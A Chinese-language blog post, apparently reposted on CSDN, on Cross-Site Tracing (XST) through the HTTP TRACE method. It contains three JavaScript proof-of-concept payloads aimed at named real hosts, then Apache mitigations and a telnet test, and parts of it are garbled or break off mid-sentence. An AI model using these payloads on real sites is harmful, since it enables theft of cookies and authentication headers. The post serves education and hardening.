HTTP TRACE

http://www.guanwei.org/post/applicationsecurity/11/HTTP-TRACE.html 原文地址

TRACE和TRACK是用来调试web服务器连接的HTTP方式。
支持该方式的服务器存在跨站脚本漏洞,通常在描述各种浏览器缺陷的时候,把"Cross-Site-Tracing"简称为XST。
攻击者可以利用此漏洞欺骗合法用户并得到他们的私人信息。
解决方案: 禁用这些方式。

什么是“跨站攻击”呢?业界对其定义如下:“跨站攻击是指入侵者在远程WEB页面的HTML代码中插入具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行。”由于HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码,例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失。如这句简单的Java脚本就能轻易获取用户信息:alert(document.cookie),它会弹出一个包含用户信息的消息框。入侵者运用脚本就能把用户信息发送到他们自己的记录页面中,稍做分析便获取了用户的敏感信息。
跨站攻击有多种方式,典型的方式有两种:其一,由于HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失。其二,大家都知道,

XST攻击描述:
攻击者将恶意代码嵌入一台已经被控制的主机上的web文件,当访问者浏览时恶意代码在浏览器中执行,然后访问者的cookie、http基本验证以及ntlm验证信息将被发送到已经被控制的主机,同时传送Trace请求给目标主机,导致cookie欺骗或者是中间人攻击。
XST攻击条件:
1、需要目标web服务器允许Trace参数;
2、需要一个用来插入XST代码的地方;
3、目标站点存在跨域漏洞。

XST与XSS的比较:
相同点:都具有很大的欺骗性,可以对受害主机产生危害,而且这种攻击是多平台多技术的,我们还可以利用Active控件、Flash、Java等来进行XST和XSS攻击。

优点:可以绕过一般的http验证以及NTLM验证

如何利用:

手法1:

<SCRIPT type=text/java script> <!-- function xssTRACE(){ var xmlHttp=new ActiveXObject(\"Microsoft.XMLHTTP\"); xmlHttp.open(\"TRACE\",\"http://www.winshell.cn/swords/\",false); xmlHttp.send(); xmlDoc=xmlHttp.responseText; alert(xmlDoc); }  //--> </SCRIPT> <BR><INPUT οnclick=xssTRACE(); type=button value=\"XSS TRACE\">

手法2:

<SCRIPT type=text/java script> <!-- function xssTRACE() { var openopenWin=open(\"blank.htm\",\"swords\",\"width=500,height=400\"); var otraceswords=openWin.external; openWin.location.href=\http://www.winshell.cn/swords/\; setTimeout( function () { //以下必须写在一行 otraceswords.NavigateAndFind('java script:xmlHttp=new ActiveXObject(\"Microsoft.XMLHTTP\");xmlHttp.open(\"TRACE\",\"http://www.winshell.cn/\",false);xmlHttp.send();xmlDoc=xmlHttp.responseText;alert(\"不用document.cookie 显示站点http://www.winshell.cn/的头信息。\\n\" + xmlDoc);',\"\",\"\"); }, 1024 ); } //--> </SCRIPT>

手法3:

<SCRIPT type=text/java script> function xssTRACE(){ var swords = \"var xmlHttp = new ActiveXObject(\\"Microsoft.XMLHTTP\\")\;xmlHttp.open(\\"TRACE\\",\\"http://http://www.tingh.com/\\",false)\;xmlHttp.send()\;xmlDoc=xmlHttp.responseText\;alert(xmlDoc)\;\"; var target = \http://www.winshell.cn/swords/\; spinach = encodeURIComponent(swords + ';top.close()'); var readyCode = 'font-size:expression(execScript(decodeURIComponent(\"' + spinach + '\")))'; showModalDialog(target, null, readyCode); } </SCRIPT>

用apache+mysql+php在win2003架设web服务器,扫描服务器:
提示:

www (80/tcp)http TRACE 跨站攻击

你的webserver支持TRACE 和/或 TRACK 方式。 TRACE和TRACK是用来调试web服务器连接的HTTP方式。支持该方式的服务器存在跨站脚本漏洞,通常在描述各种浏览器缺陷的时候,把"Cross-Site-Tracing"简称为XST。攻击者可以利用此漏洞欺骗合法用户并得到他们的私人信息。

解决方案: 禁用这些方式。

虚拟主机用户可以在.htaccess文件中添加如下代码过滤TRACE请求:

RewriteEngine on
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* - [F]

服务器用户在httpd.conf尾部添加如下指令后重启apache即可:

TraceEnable off

测试方法:

$ telnet foo.com 80
Trying 127.0.0.1...
Connected to foo.bar.
Escape character is ‘^]’.

TRACE / HTTP/1.1
Host: foo.bar
X-Header: test

HTTP/1.1 200 OK
Date: Mon, 02 Dec 2002 19:24:51 GMT
Server: Apache/2.0.40 (Unix)
Content-Type: message/http

TRACE / HTTP/1.1
Host: foo.bar
X-Header: test



  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值